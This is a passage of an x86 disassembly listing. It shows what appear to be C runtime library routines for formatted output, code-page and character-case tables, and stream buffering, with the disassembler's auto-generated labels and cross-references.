eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C510 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi call near ptr 28B0000h nop cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 jmp near ptr 26708AAh ; --------------------------------------------------------------------------- db 6Fh ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 nop jmp near ptr 28B07F1h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 nop call near ptr 28B0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop 